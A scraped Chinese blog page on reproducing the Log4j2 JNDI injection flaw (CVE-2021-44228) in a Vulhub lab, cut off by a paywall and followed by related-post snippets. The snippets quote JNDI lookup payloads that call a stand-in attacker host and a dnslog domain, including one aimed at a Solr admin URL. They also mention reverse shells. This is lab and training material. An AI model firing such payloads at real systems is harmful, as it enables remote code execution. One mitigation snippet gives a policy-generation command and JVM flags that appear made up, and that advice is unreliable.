LOG4J2(CVE-2021-44228)vulhub复现

已于 2022-07-13 10:42:29 修改
阅读量1.4k 收藏 1
点赞数 1
分类专栏： 漏洞复现 文章标签： web安全 网络安全
于 2022-07-13 10:25:08 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kriesa/article/details/125758180
版权

Apache Log4j 2 是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入，执行任意代码。

参考地址：

https://github.com/vulhub/vulhub

本次漏洞复现基于Vulhub

1.启动vulhub

Docker-compose up -d

2.访问地址172.16.7.155:8983

最低0.47元/天 解锁文章
kriesa
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
如何通过vulhub靶场复现log4j2漏洞
weixin_46683781的博客
06-11 2419
准备： 攻击机：kaili 靶机：Mac的vulhub靶场Log4j2默认支持解析ldap/rmi协议，并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容（如：恶意内容${jndi:ldap://localhost:{sys:java.version}}恶意内容），该内容传递到后端被log4j2打印出来，就会触发恶意
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
vulhub漏洞复现九_log4j/2
weixin_44193247的博客
01-11 1955
vulhub漏洞复现练习篇
CVE-2021-44228漏洞复现
m0_65764670的博客
05-29 1292
此漏洞为log4j2漏洞，log4j2是java语言的日志处理套件，使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似'${jndi:ldap://evil.com/example}'​的参数进行JNDI注入，执行任意代码（注：Java环境1.8也可能会存在）什么是JNDI?
vulhubapache log4j2(CVE-2021-44228)漏洞复现
weixin_48739941的博客
04-11 1349
(1)原理：Apache Log4j 2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。该漏洞一旦被攻击者利用会造成严重危害。 (2)cd vulhub/log4j/CVE-2021-44228 切换目录。 (3)docker-compose up -d 启动。 访问：http://
[CVE-2021-44228]:log4j2漏洞学习与复现流程详解（vulhub环境）
qq_46145027的博客
05-10 3603
刚搭好vulhub，迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2，因为算是热点了面试什么的的感觉都蛮容易被问到的，这里就来整理一下这个漏洞相关信息和漏洞复现的流程。
（vulhub环境搭建+复现）CVE-2021-44228 Apache Log4j 远程代码执行漏洞
面向感觉挖洞，背向对象编程。欢迎关注VX公众号：EureKa安全团队
01-14 8032
Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件，开发框架与Web应用中。Apache Log4j2组件中存在一个远程代码执行漏洞(CVE-2021-44832)。本文讲解如何搭建vulhub靶场并在vulhub环境中复现该漏洞以及反弹shell的操作。
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
2. `apache-log4j-2.12.4-bin.tar.gz`：这是适用于 Java 7 环境的 2.12.4 版本二进制包，包含了针对 CVE-2021-44228 的补丁。 3. `apache-log4j-2.3.2-bin.tar.gz`：这是适用于 Java 6 的 2.3.2 版本二进制包，同样...
CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975
04-06
CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考： 博客 例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
Log4j2注入漏洞（CVE-2021-44228）漏洞复现
m0_58596609的博客
10-10 1851
Log4j2注入漏洞（CVE-2021-44228）漏洞复现
Log4j2简单复现-前期
weixin_44844556的博客
12-20 1643
Log4j2复现、log4j、log2
log4j2远程代码执行漏洞复现
最新发布
qq_42194976的博客
07-12 463
log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。攻击者可以利用这一点进行JNDI注入，使得受害者请求远程服务来链接本地对象，在lookup的{}里面构造payload，调用JNDI服务（LDAP）向攻击者提前部署好的恶意站点获取恶意的.class对象，造成了远程代码执行（可反弹shell到指定服务器）。
Apache_log4j2（CVE-2021-44228）复现
weixin_48645404的博客
12-19 146
我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。通过DNSLog平台（http://www.dnslog.cn/）获取到域名xxx.dnslog.cn，构造payload ${jndi:ldap://http://xxx.dnslog.cn}此处kali得ip为192.168.14.131 端口设置未使用得端口 并将反弹shell进行java runtime bash 编码。端口监听到数据 并且可以进行命令执行。
Vulfocus复现log4j2和vulhub复现log4j2(CVE-2021-44228)
人若有志,就不会在半坡停止。
11-07 966
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。Log4j 是一款开源 Java 日志记录工具。日志记录主要用来监视代码中变量的变化情况，周期性的记录到文件中供其他应用进行统计分析工作；跟踪代码运行时轨迹，作为日后审计的依据；担当集成开发环境中的调试器的作用，向文件或控制台打印代码的调试信息。
Apache Log4j2 查找功能 JNDI 注入 (CVE-2021-44228)
我了解豹女就像农民伯伯了解大米
03-17 6029
Log4j2端口3839页面 http://192.168.29.130:8983/solr/admin/cores?action=1http://192.168.29.130:8983/solr/admin/cores?action=1 去提交dnslog payload参数： http://192.168.29.130:8983/solr/admin/cores?action=${jndi:ldap://u25tly.dnslog.cn} Dnslog中检测到信息，.
JNDI详细配置及使用
Crazyer0214的博客
05-09 3841
JNDI在项目中使用很多，下面介绍一下JNDI的配置和使用
log4j2远程代码执行漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）
热门推荐
Bossfrank的博客
04-14 2万+
本文是log4j2远程代码执行漏洞原理和漏洞复现的详细说明。基于vulhub搭建靶场，攻击者利用log4j2框架下的lookup服务提供的{}字段解析功能，在{}内使用了了JNDI注入的方式，通过RMI或LDAP服务远程加载了攻击者提前部署好的恶意代码（.class），最终造成了远程代码执行。
apache log4j CVE-2021-44228漏洞怎么解决
06-03
漏洞描述： Apache Log4j 2.x中存在一种命令注入漏洞，攻击者通过构造恶意日志信息，可以在目标服务器上执行任意命令。 解决办法： 1.升级到最新版本 Apache Log4j 2.x发布了修复此漏洞的版本2.17.0，建议用户尽快升级到该版本。 2.使用安全策略文件 在升级之前，可以通过使用安全策略文件来限制日志信息中使用的类和方法，以减少攻击面。可以使用以下命令生成策略文件： ``` java -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true -Dlog4j2.benchMillis=100 org.apache.logging.log4j.core.tools.GenerateExtendedLoggerInfo > log4j2-enum-class-loader.policy ``` 然后将策略文件放置在类路径下，例如在Tomcat中，可以将其放置在`$CATALINA_BASE/conf`目录下。 3.禁用Log4j JNDI Lookup功能 如果无法立即升级，可以通过在JVM参数中添加以下选项来禁用Log4j JNDI Lookup功能： ``` -Dlog4j2.formatMsgNoLookups=true ``` 或者在log4j2.xml配置文件中添加以下选项： ``` <Configuration> <properties> <property name="log4j2.formatMsgNoLookups">true</property> </properties> ... </Configuration> ``` 以上是针对Apache Log4j 2.x的解决办法，如果您使用的是其他版本的Log4j，请查看厂商的官方文档或者联系技术支持获取解决办法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值